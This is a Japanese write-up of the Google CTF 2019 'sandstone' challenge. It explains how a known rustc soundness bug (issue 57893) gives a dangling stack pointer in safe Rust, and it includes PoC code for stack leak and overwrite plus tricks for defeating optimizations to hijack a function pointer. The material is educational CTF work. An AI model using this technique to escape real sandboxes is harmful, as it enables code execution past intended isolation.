Google CTF 2019 Quals - sandstone Write-up - HackMD
# Google CTF 2019 Quals - sandstone Write-up ###### tags: `ctf` `pwn` `sandbox` `rust` # 概要 この記事は,[CTF Advent Calendar 2019](https://adventar.org/calendars/4241) の3日目の記事です. 2日目は私の「[HITCON CTF 2019 Quals - dadadb Write-up (+ call/jmp tracer)](https://hackmd.io/@bata24/SkDYr1nhS)」でした. # はじめに 今回はGoogle CTF 2019 Qualsで出題された,sandstoneという問題について解説します. この問題はrustのpwn問(sandbox問)ですが,私の知る限り,初めてガチのpwnが必要となった問題です(unsafeに作り込まれたバグ,みたいなよくあるrust問ではない). 大会中この問題はチラ見した程度で着手していなかったのですが,解いてみると非常に面白かったので,改めて紹介しようと思った次第です. # 問題文 ``` Everyone does a Rust sandbox, so we also have one! nc sandstone.ctfcompetition.com 1337 ``` ファイルは[こちら](https://storage.googleapis.com/gctf-2019-attachments/bdf3d61937fa0e130646d358b445966f16870107defa368fbc66a249c94fd6e1)からDLできます. # 準備 Dockerfileが提供されているので,ローカルでテストする場合は環境を用意しておきましょう. # 初動解析 この問題はソースコードが提供されているので,バイナリを読む必要はありません. 読みやすいように,少しコメントを入れてみましょう. ```rust= extern crate libc; extern crate tempfile; // cargo.tomlのテンプレート ---------------------------------------------------------- static CARGO_TOML_TEMPLATE: &str = r#" [package] name = "sandstone" version = "0.1.0" edition = "2018" [dependencies] libc = "0.2.51" seccomp-sys = "0.1.2" "#; // main.rsのテンプレート ---------------------------------------------------------- static MAIN_TEMPLATE: &str = r#" #![feature(nll)] extern crate libc; extern crate seccomp_sys; use seccomp_sys::*; mod sandstone; fn setup() { unsafe { // seccomp設定. // writeは第一引数が0か1の場合のみ許可 // sigaltstack, mmap, munmap, exit_groupは許可 let context = seccomp_init(SCMP_ACT_KILL); assert!(!context.is_null()); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_write as i32, 1, scmp_arg_cmp { arg: 0, op: scmp_compare::SCMP_CMP_EQ, datum_a: 1, datum_b: 0 }) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_sigaltstack as i32, 0) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_mmap as i32, 0) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_munmap as i32, 0) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_ALLOW, libc::SYS_exit_group as i32, 0) == 0); assert!(seccomp_rule_add(context, SCMP_ACT_TRACE(0x1337), 0x1337, 0) == 0); assert!(seccomp_load(context) == 0); } } fn main() { setup(); // seccompでガチガチに封じられるが,syscall(0x1337)を呼べば勝ち sandstone::main(); } "#; // sandstone.rsのテンプレート ---------------------------------------------------------- static SANDSTONE_TEMPLATE: &str = r#" #![feature(nll)] #![forbid(unsafe_code)] pub fn main() { println!("{:?}", (REPLACE_ME)); } "#; // 以下,コードのラッパー ---------------------------------------------------------- // rustのコードを読み込んでサニタイズした後,sandstone.rsに埋め込む. // forkして,親はptraceでシステムコールを監視 // 子はsandstoneを実行(main.rsのコードから始まり,sandstone.rsのコードが呼ばれる) // 子の中でsyscall(0x1337)を呼べば勝ちらしい fn write_file(dir: &tempfile::TempDir, name: &str, contents: &str) { let path = dir.path().join(name); std::fs::create_dir_all(path.as_path().parent().unwrap()).unwrap(); std::fs::write(path, contents).unwrap(); } fn build(dir: &tempfile::TempDir) { let mut cmd = std::process::Command::new("cargo"); cmd.arg("build").arg("--release") .stdout(std::process::Stdio::null()) .stderr(std::process::Stdio::null()) .current_dir(dir.path()); if let Ok(args) = std::env::var("CARGO_EXTRA_ARGS") { for arg in args.split(" ") { cmd.arg(arg); } } cmd.status().unwrap(); } fn child(dir: &tempfile::TempDir) { use std::ffi::CString; unsafe { assert!(libc::raise(libc::SIGSTOP) != -1); let executable = dir.path().join("target/release/sandstone"); let cmd = CString::new(executable.as_os_str().to_str().unwrap()).unwrap(); let argv = vec![cmd.as_ptr(), std::ptr::null()]; libc::execvp(cmd.as_ptr(), argv.as_ptr()); } panic!("execvp failed"); } fn print_flag() { let stdout = std::io::stdout(); let mut handle = stdout.lock(); let mut f = std::fs::File::open("flag").unwrap(); std::io::copy(&mut f, &mut handle).unwrap(); } fn parent(child: libc::pid_t) { use libc::*; assert!(unsafe { ptrace( PTRACE_SEIZE, child, 0, PTRACE_O_TRACESECCOMP | PTRACE_O_EXITKILL, ) } != -1); loop { let mut status: c_int = 0; let pid = unsafe { wait(&mut status) }; assert!(pid != -1); if unsafe { WIFEXITED(status) } { break; } if (status >> 8) == (SIGTRAP | (PTRACE_EVENT_SECCOMP << 8)) { let mut nr: c_ulong = 0; assert!(unsafe { ptrace(PTRACE_GETEVENTMSG, pid, 0, &mut nr) } != -1); if nr == 0x1337 { assert!(unsafe { ptrace(PTRACE_KILL, pid, 0, 0) } != -1); print_flag(); break; } } unsafe { ptrace(PTRACE_CONT, pid, 0, 0) }; } } fn run(dir: &tempfile::TempDir) { unsafe { libc::alarm(15) }; let pid = unsafe { libc::fork() }; match pid { 0 => child(&dir), _ if pid < 0 => panic!("fork failed"), _ => parent(pid), }; } fn read_code() -> String { use std::io::BufRead; let stdin = std::io::stdin(); let handle = stdin.lock(); let code = handle .lines() .map(|l| l.expect("Error reading code.")) .take_while(|l| l != "EOF") .collect::<Vec<String>>() .join("\n"); for c in code.replace("print!", "").replace("println!", "").chars() { if c == '!' || c == '#' || !c.is_ascii() { panic!("invalid character"); } } for needle in &["libc", "unsafe"] { if code.to_lowercase().contains(needle) { panic!("no {} for ya!", needle); } } code } fn main() { println!("{}", "Reading source until EOF..."); let code = read_code(); let temp = tempfile::tempdir().unwrap(); write_file(&temp, "Cargo.toml", CARGO_TOML_TEMPLATE); write_file(&temp, "src/main.rs", MAIN_TEMPLATE); write_file(&temp, "src/sandstone.rs", &SANDSTONE_TEMPLATE.replace("REPLACE_ME", &code)); build(&temp); run(&temp); } ``` 図にまとめるとこんな感じです. ![](https://i.imgur.com/z3WodR4.png) 要は,ユーザの送ったコードがsandstone.rsとして保存され,ビルドされるとchildとして実行されます. 但し当然ながらユーザの送ったコードはサニタイズされ,以下の文字列を受け付けません. - `!`という文字を受け付けない(マクロを受け付けない) - `print!`と`println!`だけは例外で,利用可能 - `include!`や`include_str!`や`include_bytes!`は利用不可 - `#`という文字を受け付けない(アトリビュートを受け付けない) - `libc`,`unsafe`という文字列は受け付けない そして,ゴールはchildでsyscall(0x1337)を呼ぶことです(parentが`ptrace`でchildの発行するシステムコール番号を監視しています). # 脆弱性 他のWrite-upを読んで知ったのですが,実はこの問題には脆弱性がありません. つまり言語仕様だけをうまく使って,任意のシステムコールを呼ぶ必要があります. しかしrustはメモリ管理が非常に強固な言語で,普通に考えれば(`unsafe`宣言されたブロックを除いて)任意のシステムコールを呼ぶ方法はありません.ではどうすればよいのでしょうか.その答えは,既知の未解決なissueを探す,だそうです. まずrustのgithubでissueページに飛びます. https://github.com/rust-lang/rust/issues ヤバい系の問題は,I-unsound(健全性の不備)というラベルが付けられているそうです.爆発マークまでついています. ![](https://i.imgur.com/d7WWxoX.png) 数十件のissueが見つかりますが,このうち以下のissueが,今回悪用できるやつでした. https://github.com/rust-lang/rust/issues/57893 # issue 57893の解説 issue 57893は,簡単に言うと「スタック上のダングリングポインタが手に入る」問題です. issue 57893のPoCでは,非`mut`な`u64`を使っているためダングリングポインタを読み取り専用としていますが,これは`mut`な`[u64; SIZE]`にすることで,書き込み可能かつ`SIZE`個の要素を持つ配列へのダングリングポインタにすることができます. 以下は,わかりやすく説明を付与したメモです. ```rust= // https://github.com/rust-lang/rust/issues/57893 // 配列サイズを適当に定めておく const SIZE: usize = 0x30; /* +--------------------+ | Sizedトレイト |<---------(オプション)--------------------+ +--------------------+ | | +--------------------+ | |(1) Objectトレイト |<-------------(4)------------------------+ | (Output型を持つ) |<------------+ | +--------------------+ | | | | +--------------------+ | | |(2) Markerトレイト |<------------|---------------------------+ | ('bを持つ) |<-----(3)----+ | +--------------------+ | | dyn Object型(※) 型T ※トレイトとは,簡単にいうと型や構造体が持つべきメンバやメソッドをまとめたルール. ある関数Aに対しテンプレート引数を定める時,そのテンプレート引数が満たす条件を トレイトとして定めることができる.関数Aにトレイトを指定しておくことで, そのトレイトに従う型であれば,少なくとも関数Aが正しく動作することが保証できる, のような用途で使われる. ※正確にはObjectトレイトを元にしたトレイトオブジェクトで, Objectトレイトの制約を満たす何らかの型を意味する. 実行時に正確な型が定まる動的ディスパッチのことであり,旧記法は&Objectである. */ // (1) // Objectトレイトに従う型は,内部にOutput型を持たなければならないと定める. // Output型が実際どのような型であるかはここでは問わない. // impl時にtype Output = ...で指定しても良いし,dyn Object<Output = ...>で指定してもよい. trait Object { type Output; } // (2) // Markerトレイトに従う型は,ライフタイム'bを持つと定める. trait Marker<'b> {} // (3) // Objectトレイトを具現化したdyn Object型が,Markerトレイトにも適合するよう実装している. // Markerトレイトに従う場合は,単にライフタイム'bがあれば良い. // なおdyn Object型はObjectトレイトに従うのだから, // Output型を持たなければならないので,それは&'b mut [u64]であると定めている. impl<'b> Marker<'b> for dyn Object<Output=&'b mut [u64]> {} // (4) // Markerトレイト(とSizedトレイト(?付きなのでオプション扱い))を持つ任意の型Tは, // Objectトレイトにも適合するよう実装している. // ObjectトレイトはOutput型を持つ必要があるので,&'static mut [u64];であるとしている. impl<'b, T: Marker<'b> + ?Sized> Object for T { type Output = &'static mut [u64]; } // 関数fooはライフタイム'a, 'bを持ち,型Tを扱う.型TはMarkerトレイト(とSizedトレイト)に // 従っていなければならない. // 但しMarkerトレイト(とSizedトレイト)に従う型Tは,必ずObjectトレイトにも適合しているはずである. // つまりOutput型を必ず持っており,Objectトレイトとして見ることでOutput型を取り出す事が可能. // 引数xの型はそのOutput型であり,戻り値の型は&'a mut [u64]である. fn foo<'a, 'b, T: Marker<'b> + ?Sized>(x: <T as Object>::Output) -> &'a mut [u64] { x // 型TはMarkerトレイト(とSizeトレイト)に従うため, // Objectトレイトにも従っているとみなすことが出来る. // ObjectトレイトはOutput型を持つため,Output型を取り出すが, // このOutput型は&'staticなライフタイムであり,それが返される. } // ライフタイム'b のxを受け取り,ライフタイム'aに変換したxを返す. // 関数fooに対し,型Tをdyn Object型として呼び出す. fn transmute_lifetime<'a, 'b>(x: &'b mut [u64]) -> &'a mut [u64] { foo::<dyn Object<Output=&'b mut [u64]>>(x) } // スタック上に配列xを作成し,そのxのライフタイムを変更した上で返す. fn get_dangling<'a>() -> &'a mut [u64] { let mut x: [u64; SIZE] = [0; SIZE]; transmute_lifetime(&mut x) } // debug用 fn dump(r: & [u64]) { println!("--------------------"); for i in 0..SIZE { if r[i] > 0 { println!("{}: {:x}", i, r[i]); } } } fn overwrite(r: &mut [u64]) { println!("--------------------"); for i in 0..SIZE { r[i] = 0xdeadbeef; println!("{}: {:x}", i, r[i]); } } fn main() { let mut r = get_dangling(); dump(&r); overwrite(&mut r); } ``` これを実行すると,次のようになります. ```shell= root@Ubuntu1804-64:~/rust-lang/hoge# cargo run Compiling hoge v0.1.0 (/root/rust-lang/hoge) Finished dev [unoptimized + debuginfo] target(s) in 0.19s Running `target/debug/hoge` -------------------- 0: 561def7d2020 1: 3 2: 561def5c7e02 3: 6 4: 7fffa1a2e310 5: 7fffa1a2e340 6: 561def5a52ea 7: 561def5c5b90 8: 7fffa1a2e118 9: 561def5c5fa0 10: 7fffa1a2e1e0 11: 30 12: c 13: 30 14: e 15: 30 17: 7fffa1a2e0d8 18: 30 19: 561def7d1ff8 20: 1 23: 8 26: 30 27: 1c 28: 30 29: 1d 30: 1 31: 1f 32: 20 33: 21 34: 561def7d2020 35: 3 37: 7fffa1a2e200 38: 7fffa1a2e218 39: 2 40: 7fffa1a2e1e0 41: 561def5c5fa0 42: 7fffa1a2e228 43: 561def5c5b90 44: 7fffa1a2e1e0 45: 7fffa1a2e240 46: 7fffa1a2e1e0 47: 7fffa1a2e250 -------------------- 0: 561def7d2020 // 0xdeadbeefに書き換えた後に更に書き換えられているように見えます 1: 3 // おそらくprintlnマクロの内部などで利用されたのでしょう 2: 561def5c7e02 3: 6 4: 7fffa1a2e310 5: 7fffa1a2e340 6: 561def5a557a 7: 561def5c5b90 8: 7fffa1a2e118 9: 561def5c5fa0 10: 7fffa1a2e1e0 11: 30 12: c 13: deadbeef 14: deadbeef 15: deadbeef 16: deadbeef Segmentation fault (core dumped) root@Ubuntu1804-64:~/rust-lang/hoge# ``` これで任意のリークと,スタック上の任意書き込みができるようになりました. # 攻略 後は問題に適合する形にするだけです.つまり`syscall(0x1337)`を呼べば良いですね.具体的には,`$rdi=0x1337`にしてから`libc.so`内にある`syscall`へ飛ばす,ということになります. さて最も簡単な方法は何でしょうか. スタック上のリターンアドレスを上書きする?いいえ,できなくはないですが,思ったよりも多分面倒なのでやめておきましょう.一応理由を書いておくと,次のとおりです. ```= get_dangling()後に,別の関数(stack_smash()としよう)を一度呼び出しただけでは, そのret-addrまでサイズが足りず辿り着けない. stack +---------------+ +---------------+ | | | | | x[0] | | 一時変数 | | x[1] | | 一時変数 | | x[2] | | 一時変数 | | ... | | ... | | x[SIZE-1] | | 一時変数 | | | -> -> | | | ret-addr | | ret-addr | <- ret-addrまでは +---------------+ +---------------+ +---------------+ 上書きできない | r | | r = &x[0] | | r = &x[0] | | | | | | | | | | | | | | | | | | | | | | | | | +---------------+ +---------------+ +---------------+ get_dangling()を get_dangling()から stack_smash()を 呼び出したところ 返ってきたところ 呼び出したところ 但し,さらにもう一つ関数を呼び出すことで,上手いことリターンアドレスを 書き換えることはできそうである. stack +---------------+ +---------------+ | | | | | x[0] | | 一時変数 | | x[1] | | | | x[2] | | ret-addr | <- このret-addrは | ... | +---------------+ 書き換えができそう | x[SIZE-1] | | 一時変数 | | | -> -> | | | ret-addr | | ret-addr | <- ret-addrまでは +---------------+ +---------------+ +---------------+ 上書きできない | r | | r = &x[0] | | r = &x[0] | | | | | | | | | | | | | | | | | | | | | | | | | +---------------+ +---------------+ +---------------+ get_dangling()を get_dangling()から stack_smash()を呼び出し 呼び出したところ 返ってきたところ 更にstack_smash2()を 呼び出したたところ ``` うまくいきそうではありますが,若干調整が面倒そうなのでもっと簡単な方法があればそちらが嬉しいですね. 少し考えたところ,もっと直感的でわかりやすい方法があったので,そちらを使うことにしました.スタック上に関数ポインタを配置し,その値を上書きしたあとに,`func_ptr(0x1337)`を呼べばよいのです. ```= stack +---------------+ +---------------+ | | | | | x[0] | | 一時変数 | | x[1] | | 一時変数 | | x[2] | | 関数ポインタ | <- syscall@libcに差替 | ... | | ... | | x[SIZE-1] | | 一時変数 | | | -> -> | | | ret-addr | | ret-addr | +---------------+ +---------------+ +---------------+ | r | | r = &x[0] | | r = &x[0] | | | | | | | | | | | | | | | | | | | | | | | | | +---------------+ +---------------+ +---------------+ get_dangling()を get_dangling()から stack_smash()を 呼び出したところ 返ってきたところ 呼び出したところ ``` しかし,実際にやってみるとこちらも結構大変でした.理由は`rust`の最適化です. # 最適化の回避 配布された`main.rs`の中身を見てみましょう.`build()`関数内で,`--release`オプションがつけられています. ![](https://i.imgur.com/roWXxMO.png) この`build`オプションは結構厄介で,少なくとも次のような最適化がありました. - 関数は,可能な限りインライン化される - 固定引数は,可能な限りコードに埋め込まれる - 変数は,可能な限りレジスタで保持しようとする さて,では一つずつ回避していきましょう. ## インライン化の回避 `rust`の`--release`ビルドでは,関数は最適化によりその多くがインライン化されます. 例えば,以下のコードは ```rust= fn hoge(a : usize) { println!("in hoge"); } fn main() { println!("in main"); hoge(0); } ``` 以下のようになります. ![](https://i.imgur.com/NmwJkko.png) この最適化はかなり強力で,多少長い関数であってもインライン化されてしまいます.しかし回避方法は存在します.それは,関数が再帰関数だった場合です.例えば以下の関数は,0x1000回再帰するので,インライン化するよりもそのままにしておいた方が効率が良いと判定されるはずです(ちゃんと調べたわけではないですが). ```rust= fn hoge(a : usize) { if a >= 0x1000 { return } hoge(a+1); } fn main() { hoge(0); } ``` でも無駄に再帰させるのはそれこそ意味がないので,条件付きで再帰させるようにするのが良いでしょう.実行時まで動作が非決定的かつ,分岐の可否をコントロールできるような動きをするには,例えば環境変数を参照させる方法が良いでしょう.存在しない環境変数を参照させれば,必ず偽が返ります. ```rust= fn hoge(a : usize) { // avoid optimization if let Ok(_) = std::env::var("AABB") { hoge(a+1); // unreachable } } fn main() { hoge(0); } ``` ![](https://i.imgur.com/AFgz8ap.png) ![](https://i.imgur.com/alS0Fsx.png) これで,最適化によるインライン化は回避できました. # コード埋め込みの回避,レジスタ保持の回避 次のようなコードはどう最適化がかかるでしょうか.関数ポインタ`dummy`を引数として渡しています. ```rust= fn dummy(a: usize) { // avoid optimization if let Ok(_) = std::env::var("AABB") { dummy(a+1); // unreachable } } fn hoge(f: fn(usize)) { // avoid optimization if let Ok(_) = std::env::var("AABB") { hoge(f); // unreachable } f(0x1337); } fn main() { hoge(dummy); } ``` 実はビルドされたコードでは,関数ポインタ`dummy`は`hoge()`の中に埋め込まれており,`main`からの呼び出し時は引数としてなかったことにされてしまいます. ![](https://i.imgur.com/yVcML1a.png) ![](https://i.imgur.com/fgP10eL.png) これがコードへの埋め込みによる最適化です.関数ポインタをスタックに保存させるには,どうすれば良いでしょうか. 試行錯誤した結果,以下でなんとかうまくいきました.コードの埋め込みは回避できませんでしたが,関数ポインタをスタック上に保存させることができました. ```rust= fn dummy1(a: usize) { // avoid optimization if let Ok(_) = std::env::var("AABB") { dummy1(a-1); // unreachable } } fn dummy2(a: usize) { // avoid optimization if let Ok(_) = std::env::var("AABB") { dummy2(a+1); // unreachable } } fn hoge(f: fn(usize), g: fn(usize)) { let table : [fn(usize); 5]; // avoid optimization if let Ok(_) = std::env::var("AABB") { table = [g,g,g,g,g]; } else { table = [f,f,f,f,f]; // must used } // avoid optimization let idx: usize; if let Ok(_) = std::env::var("AABB") { idx = 0; } else { idx = 1; // must used }; table[idx](0x1337); // call f // avoid optimization if let Ok(_) = std::env::var("AABB") { hoge(f,g); // unreachable } } fn main() { hoge(dummy1, dummy2); } ``` ![](https://i.imgur.com/n7nnFzP.png) # Exploit ここまで来たら,後は簡単ですね.スタック上に保存された関数ポインタを差し替えて,`libc`内の`syscall`に向けるだけです. {%gist bata24/e8b2b5a2afa02fdb1e076231618edc4e %} 尚,フラグ内にissue 31287を使えと書いてありますが,どうやらこれは運営のミスらしいとどこかで聞いた記憶があります(問題が出されたタイミングでは治っていた?). # 終わりに rustでunsafeを使わずにpwnするのは不可能だと思っていましたが,既知の問題を利用すればできるということが分かりました. 今年のSECCONでもrust問が出たらしいですね(想定解はraceらしい).でもこのissueと使い方を知っていれば,簡単に解くことができるという発言をどこかでチラ見した記憶があります.探したら見つけましたので貼っておきます. ![](https://i.imgur.com/VdLi5l4.png) このissueは未だ治っていないので,今後ソースコードをアップロードするタイプのrust問なら,ほとんど使いまわしができそうですね.知っているのと知らないのでは大きく解答スピードに違いが出るため,ぜひ覚えておきましょう. 明日は私の[Google CTF 2019 Finals - sbox Write-up](https://hackmd.io/@bata24/SJEDPh-pr)です.